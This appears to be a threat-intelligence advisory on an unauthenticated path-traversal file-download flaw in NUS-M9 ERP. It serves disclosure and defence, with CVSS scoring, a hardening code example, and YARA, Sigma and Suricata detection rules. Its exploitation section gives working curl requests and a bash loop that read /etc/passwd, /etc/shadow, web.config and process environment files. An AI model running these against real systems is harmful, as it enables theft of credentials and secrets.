CVE-2024-44759

Executive Summary

CVE-2024-44759 is an arbitrary file download vulnerability in the NUS-M9 ERP Management Software v3.0.0, specifically within the /Doc/DownloadFile component. This flaw allows an unauthenticated attacker to download arbitrary files from the server by crafting a malicious interface request, leading to the exposure of sensitive information such as configuration files, database credentials, and source code. The vulnerability has a CVSS base score of 7.5 (High) due to its network exploitability, low attack complexity, and high confidentiality impact. No patch is currently available from the vendor, making this a critical risk for organizations using this software.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary ERP software package. Organizations should verify the integrity of their NUS-M9 installation and monitor for any unauthorized file access.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete disclosure of sensitive server-side files.

Deep Dive & Mechanics

The vulnerability resides in the /Doc/DownloadFile endpoint of the NUS-M9 ERP Management Software. The application fails to properly sanitize or validate user-supplied input used to specify the file path for download. By manipulating the request parameters (e.g., filePath, filename, or similar), an attacker can traverse directories using ../ sequences to read arbitrary files outside the intended document directory.

Root Cause: The application likely uses a function similar to File.ReadAllBytes(userInput) or Response.TransmitFile(userInput) without checking if the resolved path is within an allowed base directory. This allows path traversal attacks.

Attack Flow:

1. Attacker identifies the vulnerable endpoint: https://target-ip/Doc/DownloadFile
2. Attacker crafts a GET or POST request with a manipulated parameter, e.g., filePath=../../../../etc/passwd
3. The server reads and returns the contents of /etc/passwd (or any other file).
4. Attacker can then enumerate and exfiltrate sensitive files like web.config, appsettings.json, database backups, or source code.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below. A patched version would include proper path validation.

Vulnerable Code (C#/ASP.NET example):

[HttpGet]
public IActionResult DownloadFile(string filePath)
{
    var fileBytes = System.IO.File.ReadAllBytes(filePath);
    return File(fileBytes, "application/octet-stream", Path.GetFileName(filePath));
}

Patched Code (Recommended):

[HttpGet]
public IActionResult DownloadFile(string fileName)
{
    var basePath = Path.Combine(Directory.GetCurrentDirectory(), "Documents");
    var fullPath = Path.GetFullPath(Path.Combine(basePath, fileName));
    
    // Ensure the resolved path is within the base directory
    if (!fullPath.StartsWith(basePath))
    {
        return Forbid();
    }
    
    if (!System.IO.File.Exists(fullPath))
    {
        return NotFound();
    }
    
    var fileBytes = System.IO.File.ReadAllBytes(fullPath);
    return File(fileBytes, "application/octet-stream", fileName);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running NUS-M9 ERP v3.0.0
• Network access to the /Doc/DownloadFile endpoint

Exploit Steps:

1. Identify the target endpoint:

   curl -k https://target-ip/Doc/DownloadFile
   

2. Attempt to download /etc/passwd (Linux) or C:\Windows\win.ini (Windows):

   curl -k "https://target-ip/Doc/DownloadFile?filePath=../../../../etc/passwd"
   

3. If successful, enumerate further files:

   curl -k "https://target-ip/Doc/DownloadFile?filePath=../../../../etc/shadow"
   curl -k "https://target-ip/Doc/DownloadFile?filePath=../../../../var/www/html/web.config"
   

4. Automate with a simple script:

   #!/bin/bash
   TARGET="https://target-ip/Doc/DownloadFile"
   FILES=("../../../../etc/passwd" "../../../../etc/hostname" "../../../../proc/self/environ")
   for file in "${FILES[@]}"; do
       curl -k -o "$(basename $file)" "$TARGET?filePath=$file"
   done
   

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests containing ../ or filePath= parameters.
• Alert on repeated 200 responses to /Doc/DownloadFile with unusual file extensions (e.g., .config, .env, .sql).

Hardening:

• Implement input validation and path sanitization as shown in the patched code.
• Restrict file download functionality to authenticated users only.
• Use a Web Application Firewall (WAF) to block path traversal patterns.
• Apply the principle of least privilege to the application's file system access.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /Doc/DownloadFile with filePath parameter containing ../ sequences.
  • Outbound data transfers containing sensitive file contents (e.g., root:x:0:0:root).
• File System IOCs:
  • Unexpected access to files outside the document root (e.g., /etc/passwd, web.config).
  • Modified or newly created log entries in web server logs showing path traversal attempts.
• Log IOCs:
  • Web server logs showing GET /Doc/DownloadFile?filePath=../../../../etc/passwd with HTTP 200 status.
  • Application logs showing FileNotFoundException or UnauthorizedAccessException for paths outside the allowed directory.

Detection Engineering

YARA Rule

rule CVE_2024_44759_FileDownload {
    meta:
        description = "Detects path traversal attempts targeting NUS-M9 ERP DownloadFile endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-44759"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $endpoint = "/Doc/DownloadFile"
    condition:
        $endpoint and $path_traversal
}

Sigma Rule

title: CVE-2024-44759 - NUS-M9 ERP Arbitrary File Download
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts in HTTP requests to /Doc/DownloadFile
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-44759
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains: 
            - "/Doc/DownloadFile"
            - "filePath="
            - "../"
            - "..\\"
    condition: selection
falsepositives:
    - Legitimate file downloads with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44759 - NUS-M9 ERP Path Traversal Attempt"; flow:to_server,established; content:"/Doc/DownloadFile"; http_uri; content:"filePath="; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system: If possible, take the NUS-M9 ERP offline or restrict network access to trusted IPs only.
2. Apply virtual patching: Use a WAF to block requests containing ../ or filePath= to /Doc/DownloadFile.
3. Monitor logs: Actively review web server logs for exploitation attempts.

Long-term Fix:

• Since no official patch exists, contact the vendor (Nus-m9) for a fix.
• Implement the patched code example provided in this report.
• Conduct a full security audit of the application for similar vulnerabilities.
• Consider migrating to a supported ERP solution if the vendor does not respond.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.